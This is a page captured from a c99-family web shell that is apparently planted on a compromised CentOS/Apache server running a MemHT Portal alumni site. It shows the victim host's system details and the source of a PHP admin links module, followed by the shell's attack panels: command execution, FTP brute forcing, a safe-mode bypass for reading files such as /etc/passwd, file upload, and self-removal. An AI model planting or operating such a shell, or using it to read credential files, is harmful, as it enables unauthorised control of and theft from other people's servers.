!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/alumni/admin/pages/mylinks/   drwxr-xr-x
Free 50.92 GB of 127.8 GB (39.84%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     index.php (18.35 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/********************************************************************************
    - MemHT Portal -
    
    Copyright (C) 2007-2008 by Miltenovik Manojlo
    http://www.memht.com
    
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your opinion) any later version.
    
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
    GNU General Public License for more details.
    
    You should have received a copy of the GNU General Public License along
    with this program; if not, see <http://www.gnu.org/licenses/> (GPLv2)
    or write to the Free Software Foundation, Inc., 51 Franklin Street,
    Fifth Floor, Boston, MA02110-1301, USA.
        
********************************************************************************/

if (!defined("_LOAD_PAGE_")) {
    die(
"<table style='padding: 2px; border: 1px solid #999; background-color: #EEE; font-family: Verdana; font-size: 10px;' align='center'><tr><td><b>Error:</b> This file cannot be opened directly!</td></tr></table>");
}

if (isset(
$_GET['op'])) { $op inCode($_GET['op']); } else { $op ""; }
if (isset(
$_GET['id'])) { $id intval($_GET['id']); } else { $id ""; }
if (isset(
$_GET['ok'])) { $ok inCode($_GET['ok']); } else { $ok false; }

if (isSet(
$_POST['cat'])) { $cat inCode($_POST['cat']); } else { $cat ""; }
if (isSet(
$_POST['name'])) { $name inCode($_POST['name']); } else { $name ""; }
if (isSet(
$_POST['email'])) { $email inCode($_POST['email']); } else { $email ""; }
if (isSet(
$_POST['url'])) { $url inCode($_POST['url']); } else { $url ""; }
if (isSet(
$_POST['description'])) { $description inCode($_POST['description']); } else { $description ""; }

if (isset(
$_POST['cat_post'])) { $cat_post inCode($_POST['cat_post']); } else { $cat_post ""; }
if (isset(
$_POST['nome_post'])) { $nome_post eregi_replace("[/_']","-",inCode($_POST['nome_post'])); } else { $nome_post ""; }
if (isset(
$_POST['descrizione_post'])) { $descrizione_post inCode($_POST['descrizione_post']); } else { $descrizione_post ""; }

if (isset(
$_GET['pg'])) { $pg inCode($_GET['pg']); } else { $pg 1; }
$ofsppg 20//Items per page
$ofsbgn = ($pg*$ofsppg)-$ofsppg;

$level 100;
$spcs "";
function 
godeep($id,$level,$spcs,$now=0) {
    global 
$dblink;
        
    
$parent intval($id);
    if (
$result $dblink->get_list("SELECT id,name FROM memht_mylinks_cat WHERE parent=$parent ORDER BY name") AND $level>0) {
        
$spcs .= "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
        foreach (
$result as $row) {
            
$id intval($row['id']);
            
$name outCode($row['name']);
            
            
$selected = ($now==$id) ? " selected" "" ;
            echo 
"<option value='$id'{$selected}>{$spcs}$name</div>";
            
$level--;
            
godeep($id,$level,$spcs,$now);
        }
    }
}

function 
main() {
    global 
$dblink;
    
    
$result $dblink->get_list("SELECT * FROM memht_mylinks_cat WHERE parent=0 ORDER BY name");
    foreach (
$result as $row) {
        
$cid intval($row['id']);
        
$name outCode($row['name']);

        
$num_subs $dblink->get_num("SELECT id FROM memht_mylinks_cat WHERE parent=$cid");
        
$name .= " ($num_subs)";
                
        echo 
"<div><img src='images/bullet_paper.gif' alt='Bullet' border='0'> <a href='admin.php?page=mylinks&op=category&id=$cid' title='$name'><b>$name</b></a> <a href='admin.php?page=mylinks&op=editCategory&id=$cid' title='"._MODIFY_."'><img src='images/edit.gif' alt='Edit' border='0'></a> <a href='admin.php?page=mylinks&op=deleteCategory&id=$cid' title='"._DELETE_."'><img src='images/delete.gif' alt='Delete' border='0'></a></div>";
    }    
}

function 
openCategory($id,$ofsbgn,$ofsppg,$pg) {
    global 
$dblink,$siteConfig;
    
    
$cid intval($id);

    
$row $dblink->get_row("SELECT * FROM memht_mylinks_cat WHERE id=$cid");
    
$name outCode($row['name']);
    
$description outCode($row['description']);
    
$parent intval($row['parent']);
    
    echo 
"<div><img src='images/bullet_paper.gif' border='0'> <a href='admin.php?page=mylinks&op=category&id=$cid' title='$name'><b>$name</b></a> <a href='admin.php?page=mylinks&op=editCategory&id=$cid' title='"._MODIFY_."'><img src='images/edit.gif' alt='Edit' border='0'></a> <a href='admin.php?page=mylinks&op=deleteCategory&id=$cid' title='"._DELETE_."'><img src='images/delete.gif' alt='Delete' border='0'></a></div>\n";
    if (
$description!="") { echo "<div class='box'>$description</div>\n"; }
    
    
$result $dblink->get_list("SELECT * FROM memht_mylinks_cat WHERE parent=$cid ORDER BY name");
    foreach (
$result as $row) {
        
$sid intval($row['id']);
        
$name outCode($row['name']);
    
        
$num_subs $dblink->get_num("SELECT id FROM memht_mylinks_cat WHERE parent=$sid");
        
$num_links $dblink->get_num("SELECT id FROM memht_mylinks WHERE cat=$sid");
        
$name .= " ($num_subs/$num_links)";
            
        echo 
"<div>&nbsp;&nbsp;&nbsp;<img src='images/bullet_paper.gif' alt='Bullet' border='0'> <a href='admin.php?page=mylinks&op=category&id=$sid' title='$name'>$name</a> <a href='admin.php?page=mylinks&op=editCategory&id=$sid' title='"._MODIFY_."'><img src='images/edit.gif' alt='Edit' border='0'></a> <a href='admin.php?page=mylinks&op=deleteCategory&id=$sid' title='"._DELETE_."'><img src='images/delete.gif' alt='Delete' border='0'></a></div>";
    }
    
        echo 
"<br>";
        
        
//Links
        
$n 0;
        echo 
"<table width='100%' align='center' cellspacing='1' cellpadding='0' class='std_nicetable'>";
        echo 
"<thead>\n";
        echo 
"<tr><td>"._SITENAME_."</td><td width='1%'>&nbsp;</td></tr>\n";
        echo 
"</thead>\n";
        echo 
"<tbody>\n";
        if (
$result_sf $dblink->get_list("SELECT * FROM memht_mylinks WHERE cat=$cid ORDER BY name LIMIT $ofsbgn,$ofsppg")) {
            foreach (
$result_sf as $row_sf) {
                
$fid intval($row_sf['id']);
                
$fname outCode($row_sf['name']);
                
$furl outCode($row_sf['url']);
                
$fdesc outCode($row_sf['description']);
                
                
$row $dblink->get_row("SELECT COUNT(id) AS num_votes, SUM(vote) as tot_votes FROM memht_ratings WHERE whr=7 AND wid=$fid");
                
$tot_votes intval($row['tot_votes']);
                
$num_votes intval($row['num_votes']);
                
                
$class = (($n++%2)!=0) ? "hlight" "clean" ;
                
                echo 
"<tr><td class='$class'><a href='$furl' title='$fname' target='_blank'><b>$fname</b></a>";
                echo 
"<td class='$class' nowrap><a href='admin.php?page=mylinks&op=editLink&id=$fid' title='"._MODIFY_."'><img src='images/edit.gif' alt='Edit' border='0'></a> <a href='admin.php?page=mylinks&op=deleteLink&id=$fid' title='"._DELETE_."'><img src='images/delete.gif' alt='Delete' border='0'></a></td></tr>";
            }
        } else {
            echo 
"<tr><td align='center' id='errorText' colspan='2' class='clean'><b>"._EMPTY_."</b></td></tr>";
        }
        echo 
"</tbody>\n";
        echo 
"</table>";
        
        
//Pages
        
include_once("inc/class/paginationSystem.class.php");
        
$ps = new paginationSystem();
        
$ps->items $ofsppg;
        
$ps->actpg $pg;
        
$ps->query "SELECT id FROM memht_mylinks WHERE cat=$cid";
        
$ps->url "admin.php?page=mylinks&op=category&id=$cid&pg={{N}}";
        
$ps->show();
}

function 
addLink($cat,$name,$url,$email,$description,$ok=false) {
    global 
$dblink,$level,$spcs;
    
    if (!
$ok) {
        echo 
"<table width='100%' align='center' cellspacing='0' cellpadding='1'>";
        echo 
"<form name='form_part' method='post' action='admin.php?page=mylinks&op=addLink&ok=true'>";
            echo 
"<tr><td width='25%'><b>"._CATEGORY_."</b></td><td>\n";
            
            echo 
"<select name='cat'>\n";
                if (
$result $dblink->get_list("SELECT id,name FROM memht_mylinks_cat WHERE parent=0 ORDER BY name")) {
                    foreach (
$result as $row) {
                        
$id intval($row['id']);
                        
$nome outCode($row['name']);
                        
                        echo 
"<option value='$id'>$nome</div>";
                        
godeep($id,$level,$spcs);
                    }
                }
            echo 
"</select>\n";

            echo 
"</td>\n";
            echo 
"<tr><td><b>"._SITENAME_."</b></td><td><input type='text' name='name' size='40' maxlength='255'></td></tr>\n";
            echo 
"<tr><td><b>"._SITEURL_."</b></td><td><input type='text' name='url' size='40' maxlength='255' value='http://'></td></tr>\n";
            echo 
"<tr><td><b>"._EMAIL_."</b></td><td><input type='text' name='email' size='40' maxlength='255'></td></tr>\n";
            echo 
"<tr><td valign='top'><b>"._DESCRIPTION_."</b></td><td>";
            
                
textarea("description","100%","200px",1,"fulladmin");
                
            echo 
"</td></tr>\n";
            echo 
"<tr><td colspan='2'><input type='submit' name='Submit' value='"._ADD_."'>\n";
        echo 
"</form>\n";
        echo 
"</table>\n";
    } else {    
        
$save true;
        if (
$name=="") { $save false$msg _SITENAME_." ".strtolower(_FIELD_)." ".strtolower(_REQUIRED_); }
        if (
$url=="") { $save false$msg _SITEURL_." ".strtolower(_FIELD_)." ".strtolower(_REQUIRED_); }
        if (!
validEmail($email)) { $save false$msg _EMAIL_." ".strtolower(_FIELD_)." ".strtolower(_REQUIRED_); }
    
        if (
$save) {
            if (
memRunHooks('AddLink',array($cat,$name,$url,$email,$description))) {
                
$dblink->query("INSERT INTO memht_mylinks (id,cat,name,url,email,description,flag)
                                VALUES (null,'$cat','$name','$url','$email','$description','1')"
);
                
                
memRunHooks('AddLinkEnd',array($cat,$name,$url,$email,$description));
            }
            echo 
"<meta http-equiv='refresh' content='0;URL=admin.php?page=mylinks'>";
        } else {
            echo 
"<div align='center' id='errorText'><b>$msg</b></div>";
        }
    }
}

function 
editLink($id,$cat,$name,$url,$email,$description,$ok=false) {
    global 
$dblink,$level,$spcs;
    
$id intval($id);
    
    if (!
$ok) {
        
$row_edit $dblink->get_row("SELECT * FROM memht_mylinks WHERE id=$id");
        
$dbcat intval($row_edit['cat']);
        
$dbname outCode($row_edit['name']);
        
$dburl outCode($row_edit['url']);
        
$dbemail outCode($row_edit['email']);
        
$dbdescription outCode($row_edit['description']);
        
        echo 
"<table width='100%' align='center' cellspacing='0' cellpadding='1'>";
        echo 
"<form name='form_part' method='post' action='admin.php?page=mylinks&op=editLink&id=$id&ok=true'>";
            echo 
"<tr><td width='25%'><b>"._CATEGORY_."</b></td><td>\n";
            
            echo 
"<select name='cat'>\n";
                if (
$result $dblink->get_list("SELECT id,name FROM memht_mylinks_cat WHERE parent=0 ORDER BY name")) {
                    foreach (
$result as $row) {
                        
$cid intval($row['id']);
                        
$cnome outCode($row['name']);
                        
                        
$selected = ($dbcat==$cid) ? " selected" "" ;
                        echo 
"<option value='$cid'{$selected}>$cnome</div>";
                        
godeep($cid,$level,$spcs,$dbcat);
                    }
                }
            echo 
"</select>\n";
            

            echo 
"</td>\n";
            echo 
"<tr><td><b>"._SITENAME_."</b></td><td><input type='text' name='name' value=\"$dbname\" size='40' maxlength='255'></td></tr>\n";
            echo 
"<tr><td><b>"._SITEURL_."</b></td><td><input type='text' name='url' value=\"$dburl\" size='40' maxlength='255' value='http://'></td></tr>\n";
            echo 
"<tr><td><b>"._EMAIL_."</b></td><td><input type='text' name='email' value=\"$dbemail\" size='40' maxlength='255'></td></tr>\n";
            echo 
"<tr><td valign='top'><b>"._DESCRIPTION_."</b></td><td>";
            
                
textarea("description","100%","200px",1,"fulladmin",$dbdescription);
                
            echo 
"</td></tr>\n";
            echo 
"<tr><td colspan='2'><input type='submit' name='Submit' value='"._MODIFY_."'>\n";
        echo 
"</form>\n";
        echo 
"</table>\n";
    } else {    
        
$save true;
        if (
$name=="") { $save false$msg _SITENAME_." ".strtolower(_FIELD_)." ".strtolower(_REQUIRED_); }
        if (
$url=="") { $save false$msg _SITEURL_." ".strtolower(_FIELD_)." ".strtolower(_REQUIRED_); }
        if (!
validEmail($email)) { $save false$msg _EMAIL_." ".strtolower(_FIELD_)." ".strtolower(_REQUIRED_); }
    
        if (
$save) {
            
$dblink->query("UPDATE memht_mylinks SET cat='$cat',name='$name',url='$url',email='$email',description='$description' WHERE id=$id");
            echo 
"<meta http-equiv='refresh' content='0;URL=admin.php?page=mylinks'>";
        } else {
            echo 
"<div align='center' id='errorText'><b>$msg</b></div>";
        }
    }
}

function 
deleteLink($id,$ok=false) {
    global 
$dblink;
    if (
$ok) {
        
$dblink->query("DELETE FROM memht_mylinks WHERE id=$id");
        echo 
"<meta http-equiv='refresh' content='0;URL=admin.php?page=mylinks'>";        
    } else {
        echo 
"<div align='center'><b>"._SUREDELETELINK_."</b><br><a href='admin.php?page=mylinks&op=deleteLink&id=$id&ok=true' title='"._YES_."'>"._YES_."</a> - <a href='admin.php?page=mylinks' title='"._NO_."'>"._NO_."</a></div>";
    }
}

function 
addCat($cat_post,$nome_post,$descrizione_post,$ok=false) {
    global 
$dblink,$level,$spcs;
    
    if (!
$ok) {
        echo 
"<table width='100%' align='center' cellspacing='0' cellpadding='1'>";
        echo 
"<form name='form_cat' method='post' action='admin.php?page=mylinks&op=addCategory&ok=true'>";
            echo 
"<tr><td><b>"._CATEGORYNAME_."</b><td><input type='text' name='nome_post' size='40' maxlength='255'>\n";
            echo 
"<tr><td><b>"._CATEGORY_."</b><td>\n";
            
            echo 
"<select name='cat_post'>\n";
                echo 
"<option value='0'>- "._PRINCIPALCATEGORY_." -</option>\n";
                if (
$result $dblink->get_list("SELECT id,name FROM memht_mylinks_cat WHERE parent=0 ORDER BY name")) {
                    foreach (
$result as $row) {
                        
$id intval($row['id']);
                        
$nome outCode($row['name']);
                        
                        echo 
"<option value='$id'>$nome</div>";
                        
godeep($id,$level,$spcs);
                    }
                }
            echo 
"</select>\n";

            echo 
"<tr><td valign='top'><b>"._DESCRIPTION_."</b></td><td>\n";
            
                
textarea("descrizione_post","100%","200px",1,"fulladmin");
                
            echo 
"</td></tr><tr><td colspan='2'><input type='submit' name='Submit' value='"._ADD_."'>\n";
        echo 
"</form>\n";
        echo 
"</table>";
    } else {
        
$save true;
        if (
$nome_post=="") { $save false$msg _CATEGORYNAME_." ".strtolower(_FIELD_)." ".strtolower(_REQUIRED_); }
    
        if (
$save) {
            
$dblink->query("INSERT INTO memht_mylinks_cat VALUES (null,'$cat_post','$nome_post','$descrizione_post')");
            echo 
"<meta http-equiv='refresh' content='0;URL=admin.php?page=mylinks'>";
        } else {
            echo 
"<div align='center' id='errorText'><b>$msg</b></div>";
        }
    }
}

function 
editCat($id,$cat_post,$nome_post,$descrizione_post,$ok=false) {
    global 
$dblink,$level,$spcs;
    
    
$id intval($id);

    
$row_dwc $dblink->get_row("SELECT * FROM memht_mylinks_cat WHERE id=$id");
    
$parentdb intval($row_dwc['parent']);
    
$nomedb outCode($row_dwc['name']);
    
$descrizionedb outCode($row_dwc['description']);
    
    if (!
$ok) {
        echo 
"<table width='100%' align='center' cellspacing='0' cellpadding='1'>";
        echo 
"<form name='form_cat' method='post' action='admin.php?page=mylinks&op=editCategory&id=$id&ok=true'>";
            echo 
"<tr><td><b>"._CATEGORYNAME_."</b><td><input type='text' name='nome_post' size='40' maxlength='255' value=\"$nomedb\">\n";
            echo 
"<tr><td><b>"._CATEGORY_."</b><td>\n";
            
            echo 
"<select name='cat_post'>\n";
                
$pselected = ($parentdb==0) ? "selected" "" ;
                echo 
"<option value='0'$pselected>- "._PRINCIPALCATEGORY_." -</option>\n";
                if (
$result $dblink->get_list("SELECT id,name FROM memht_mylinks_cat WHERE parent=0 ORDER BY name")) {
                    foreach (
$result as $row) {
                        
$cid intval($row['id']);
                        
$cnome outCode($row['name']);
                        
                        
$selected = ($parentdb==$cid) ? " selected" "" ;
                        echo 
"<option value='$cid'{$selected}>$cnome</div>";
                        
godeep($cid,$level,$spcs,$parentdb);
                    }
                }
            echo 
"</select>\n";

            echo 
"<tr><td valign='top'><b>"._DESCRIPTION_."</b></td><td>\n";
            
                
textarea("descrizione_post","100%","200px",1,"fulladmin",$descrizionedb);
                
            echo 
"</td></tr><tr><td colspan='2'><input type='submit' name='Submit' value='"._MODIFY_."'>\n";
        echo 
"</form>\n";
        echo 
"</table>";
    } else {
        
$save true;
        if (
$nome_post=="") { $save false$msg _CATEGORYNAME_." ".strtolower(_FIELD_)." ".strtolower(_REQUIRED_); }
    
        if (
$save) {
            
$dblink->query("UPDATE memht_mylinks_cat SET parent='$cat_post',name='$nome_post',description='$descrizione_post' WHERE id=$id");
            echo 
"<meta http-equiv='refresh' content='0;URL=admin.php?page=mylinks'>";
        } else {
            echo 
"<div align='center' id='errorText'><b>$msg</b></div>";
        }
    }
}

function 
deleteCat($id,$ok=false) {
    global 
$dblink;
    
    
$id intval($id);
    if (
$ok) {
        
$row $dblink->get_row("SELECT parent FROM memht_mylinks_cat WHERE id=$id");
        
$parent intval($row['parent']);
        
$dblink->query("UPDATE memht_mylinks_cat SET parent=$parent WHERE parent=$id");
        
        
$dblink->query("DELETE FROM memht_mylinks_cat WHERE id=$id");
        
$result $dblink->get_list("SELECT id FROM memht_mylinks WHERE cat=$id");
        foreach (
$result as $row) {
            
$fid intval($row['id']);
            
$dblink->query("DELETE FROM memht_mylinks WHERE id=$fid");
        }
        
        echo 
"<meta http-equiv='refresh' content='0;URL=admin.php?page=mylinks'>";
    } else {
        echo 
"<div align='center'><b>"._SUREDELETECATEGORY_."</b><br>"._LINKSINCATWILLBEDELETED_."<br><a href='admin.php?page=mylinks&op=deleteCategory&id=$id&ok=true' title='"._YES_."'>"._YES_."</a> - <a href='admin.php?page=mylinks' title='"._NO_."'>"._NO_."</a></div>";
    }
}

require_once(
"admin/inc/inc_header.php");
    
admin_page_title($page);
                
    
openTable();
        echo 
"<div align='center' class='box'>";
            echo 
"<a href='admin.php?page=mylinks' title='"._MAIN_."'><img src='admin/icons/mylinks.png' border='0' title='"._MAIN_."' align='top'> "._MAIN_."</a>";
            echo 
" - <a href='admin.php?page=mylinks&op=addLink' title='"._ADD_LINK_."'><img src='admin/icons/add.png' border='0' title='"._ADD_LINK_."' align='top'> "._ADD_LINK_."</a>";
            echo 
" - <a href='admin.php?page=mylinks&op=addCategory' title='"._ADD_CATEGORY_."'><img src='admin/icons/addcategory.png' border='0' title='"._ADD_CATEGORY_."' align='top'> "._ADD_CATEGORY_."</a>";
        echo 
"</div>";
    
closeTable();
    
    
openTable();

        switch(
$op) {
            case 
"category":
                
openCategory($id,$ofsbgn,$ofsppg,$pg);
            break;
            
            case 
"addLink":
                
addLink($cat,$name,$url,$email,$description,$ok);
            break;
            
            case 
"editLink":
                
editLink($id,$cat,$name,$url,$email,$description,$ok);
            break;
            
            case 
"deleteLink":
                
deleteLink($id,$ok);
            break;
            
            case 
"addCategory":
                
addCat($cat_post,$nome_post,$descrizione_post,$ok);
            break;
        
            case 
"editCategory":
                
editCat($id,$cat_post,$nome_post,$descrizione_post,$ok);
            break;
            
            case 
"deleteCategory":
                
deleteCat($id,$ok);
            break;
        
            default:
                
main();
            break;
        }
    
    
closeTable();
require_once(
"admin/inc/inc_footer.php");

?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0183 ]--